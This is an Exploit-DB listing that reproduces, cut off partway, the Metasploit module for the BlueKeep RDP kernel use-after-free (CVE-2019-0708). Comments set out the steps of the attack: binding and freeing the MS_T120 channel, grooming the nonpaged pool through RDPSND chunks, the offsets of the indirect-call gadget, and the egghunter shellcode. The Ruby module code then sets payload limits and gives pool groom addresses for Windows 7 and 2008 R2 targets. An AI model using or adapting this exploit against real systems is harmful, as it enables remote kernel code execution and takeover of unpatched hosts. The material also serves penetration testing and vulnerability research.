Exploit-DB #47416
Description: Microsoft Windows - BlueKeep RDP Remote Windows Kernel Use After Free (Metasploit)
Type: remote
Platform: windows
Date: 2019-09-24
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

#  Exploitation and Caveats from zerosum0x0:
#
#    1. Register with channel MS_T120 (and others such as RDPDR/RDPSND) nominally.
#    2. Perform a full RDP handshake, I like to wait for RDPDR handshake too (code in the .py)
#    3. Free MS_T120 with the DisconnectProviderIndication message to MS_T120.
#    4. RDP has chunked messages, so we use this to groom.
#       a. Chunked messaging ONLY works properly when sent to RDPSND/MS_T120.
#       b. However, on 7+, MS_T120 will not work and you have to use RDPSND.
#           i. RDPSND only works when
#              HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer\Winstations\RDP-Tcp\fDisableCam = 0
#           ii. This registry key is not a default setting for server 2008 R2.
#              We should use alternate groom channels or at least detect the
#              channel in advance.
#    5. Use chunked grooming to fit new data in the freed channel, account for
#       the allocation header size (like 0x38 I think?). At offset 0x100? is where
#       the "call [rax]" gadget will get its pointer from.
#       a. The NonPagedPool (NPP) starts at a fixed address on XP-7
#           i. Hot-swap memory is another problem because, with certain VMWare and
#           Hyper-V setups, the OS allocates a buncha PTE stuff before the NPP
#           start. This can be anywhere from 100 mb to gigabytes of offset
#           before the NPP start.
#       b. Set offset 0x100 to NPPStart+SizeOfGroomInMB
#       c. Groom chunk the shellcode, at *(NPPStart+SizeOfGroomInMB) you need
#          [NPPStart+SizeOfGroomInMB+8...payload]... because "call [rax]" is an
#          indirect call
#       d. We are limited to 0x400 payloads by channel chunk max size. My
#          current shellcode is a twin shellcode with eggfinders. I spam the
#          kernel payload and user payload, and if user payload is called first it
#          will egghunt for the kernel payload.
#    6. After channel hole is filled and the NPP is spammed up with shellcode,
#       trigger the free by closing the socket.
#
#    TODO:
#    * Detect OS specifics / obtain memory leak to determine NPP start address.
#    * Write the XP/2003 portions grooming MS_T120.
#    * Detect if RDPSND grooming is working or not?
#    * Expand channels besides RDPSND/MS_T120 for grooming.
#        See https://unit42.paloaltonetworks.com/exploitation-of-windows-cve-2019-0708-bluekeep-three-ways-to-write-data-into-the-kernel-with-rdp-pdu/
#
#    https://github.com/0xeb-bp/bluekeep .. this repo has code for grooming
#    MS_T120 on XP... should be same process as the RDPSND

class MetasploitModule < Msf::Exploit::Remote

  Rank = ManualRanking

  USERMODE_EGG = 0xb00dac0fefe31337
  KERNELMODE_EGG = 0xb00dac0fefe42069

  CHUNK_SIZE = 0x400
  HEADER_SIZE = 0x48

  include Msf::Exploit::Remote::RDP
  include Msf::Exploit::Remote::CheckScanner

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free',
      'Description'    => %q(
        The RDP termdd.sys driver improperly handles binds to internal-only channel MS_T120,
        allowing a malformed Disconnect Provider Indication message to cause use-after-free.
        With a controllable data/size remote nonpaged pool spray, an indirect call gadget of
        the freed channel is used to achieve arbitrary code execution.
      ),
      'Author' =>
      [
        'Sean Dillon <sean.dillon@risksense.com>',  # @zerosum0x0 - Original exploit
        'Ryan Hanson',                              # @ryHanson - Original exploit
        'OJ Reeves <oj@beyondbinary.io>',           # @TheColonial - Metasploit module
        'Brent Cook <bcook@rapid7.com>',            # @busterbcook - Assembly whisperer
      ],
      'License' => MSF_LICENSE,
      'References' =>
        [
          ['CVE', '2019-0708'],
          ['URL', 'https://github.com/zerosum0x0/CVE-2019-0708'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
          'WfsDelay' => 5,
          'RDP_CLIENT_NAME' => 'ethdev',
          'CheckScanner' => 'auxiliary/scanner/rdp/cve_2019_0708_bluekeep'
        },
      'Privileged' => true,
      'Payload' =>
        {
          'Space' => CHUNK_SIZE - HEADER_SIZE,
          'EncoderType' => Msf::Encoder::Type::Raw,
        },
      'Platform' => 'win',
      'Targets' =>
        [
          [
            'Automatic targeting via fingerprinting',
            {
              'Arch' => [ARCH_X64],
              'FingerprintOnly' => true
            },
          ],
          #
          #
          # Windows 2008 R2 requires the following registry change from default:
          #
          # [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server\WinStations\rdpwd]
          # "fDisableCam"=dword:00000000
          #
          [
            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64)',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X64],
              'GROOMBASE' => 0xfffffa[PII_REDACTED],
              'GROOMSIZE' => 100
            }
          ],
          [
            # This works with Virtualbox 6
            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox 6)',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X64],
              'GROOMBASE' => 0xfffffa[PII_REDACTED]
            }
          ],
          [
            # This address works on VMWare 14
            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 14)',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X64],
              'GROOMBASE' => 0xfffffa8030c00000
            }
          ],
          [
            # This